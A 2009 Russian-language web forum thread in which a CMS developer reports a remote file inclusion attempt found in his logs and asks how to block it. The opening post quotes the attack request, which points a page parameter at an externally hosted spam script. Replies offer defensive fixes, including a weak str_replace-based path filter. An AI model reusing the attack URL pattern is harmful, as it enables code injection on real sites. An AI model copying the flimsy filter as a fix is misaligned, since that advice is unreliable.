|
|
|
| Дело в том что в cms которой я пользуюсь в статьи хранятся впапке contents
и при сапросе вида site.ru/index.php?content=file
из папки content/file/index.php загружается статья.
Сейчас просмотрел логи и видел странное продолжение site.ru/index.php?content=http://xoomer.alice.it/lupalupa/a.txt?
Посмотрите данный эксплоид , увидите там скрипт -спамер.
Как можно защититься от такого? | |
|
|
|
|
|
|
|
для: FUNC
(11.01.2009 в 20:25)
| | Можно, конечно. Сменить cms. | |
|
|
|
|
автор: xx7 (11.01.2009 в 20:45) |
|
|
для: FUNC
(11.01.2009 в 20:25)
| | Почему вообще в переменную $conten попадает что попало, и попадало-ли?
проверяйте на только цифры или буквы, и если дальше include() , вообще желательно применять проверку существования файла, можно исправить на readfile(), если там нечего интерпритировать.
Хотя наличие в логах не обязательно означает что это работало в вышеозначенной cms | |
|
|
|
|
|
|
|
для: FUNC
(11.01.2009 в 20:25)
| | Поможет смена CMS. | |
|
|
|
|
|
|
|
для: Саня
(11.01.2009 в 20:45)
| | >Поможет смена CMS.
Я пишу свою cms
Ну как вданный момент можно защититься от этого эксплоита. Уже 15 тыс. писем пришло на почту. | |
|
|
|
|
|
|
|
для: FUNC
(11.01.2009 в 20:54)
| |
<?
$_GET['content'] = str_replace(array("..", "../", "/../", "/.."), "", $_GET['content']);
// соответственно в именах реальных файлов и папок не должно быть ".."
if ( !is_dir($_GET['content']) ) exit("DIE!!!");
|
Ещё не мешает защититься от такого "site.ru/index.php?content=../../../". | |
|
|
|
|
|
|
|
для: Саня
(11.01.2009 в 21:15)
| | После удаления ".." в тексте не останется подстрок "../", "/../", "/..". | |
|
|
|
|
|
|
|
для: BinLaden
(11.01.2009 в 21:33)
| | Тогда array("/../", "../", "/..", ".."); | |
|
|
|
|
|
|
|
для: FUNC
(11.01.2009 в 20:54)
| | Нужно проверять содержимое $_GET['content'] на принадлежность множеству имеющихся у Вас страниц. Перед тем, как использовать . | |
|
|
|
|
|
|
|
для: Trianon
(11.01.2009 в 21:45)
| | Тоесть имеешь ввиду проверять имеется ли такое название папки в каталоге content? | |
|
|
|
|
|
|
|
для: FUNC
(11.01.2009 в 20:54)
| | >Я пишу свою cms
>Ну как вданный момент можно защититься от этого эксплоита. Уже 15 тыс. писем пришло на почту.
странно... как же вы пишете свою cms, если не знаете как защититься от простейшей уязвимости?
забудьте про файлики. попробуйте http://ru.wikipedia.org/wiki/SQL | |
|
|
|
|
|
|
|
для: FUNC
(11.01.2009 в 20:25)
| | Странная CMS, контент на файлах? Раньше возможно и использовалась, или автор не знал, что такое БД. | |
|
|
|
|
|
|
|
для: AcidTrash
(11.01.2009 в 22:14)
| | Да на файлах. | |
|
|
|
|
|
|
|
для: FUNC
(12.01.2009 в 09:09)
| | - | |
|
|
|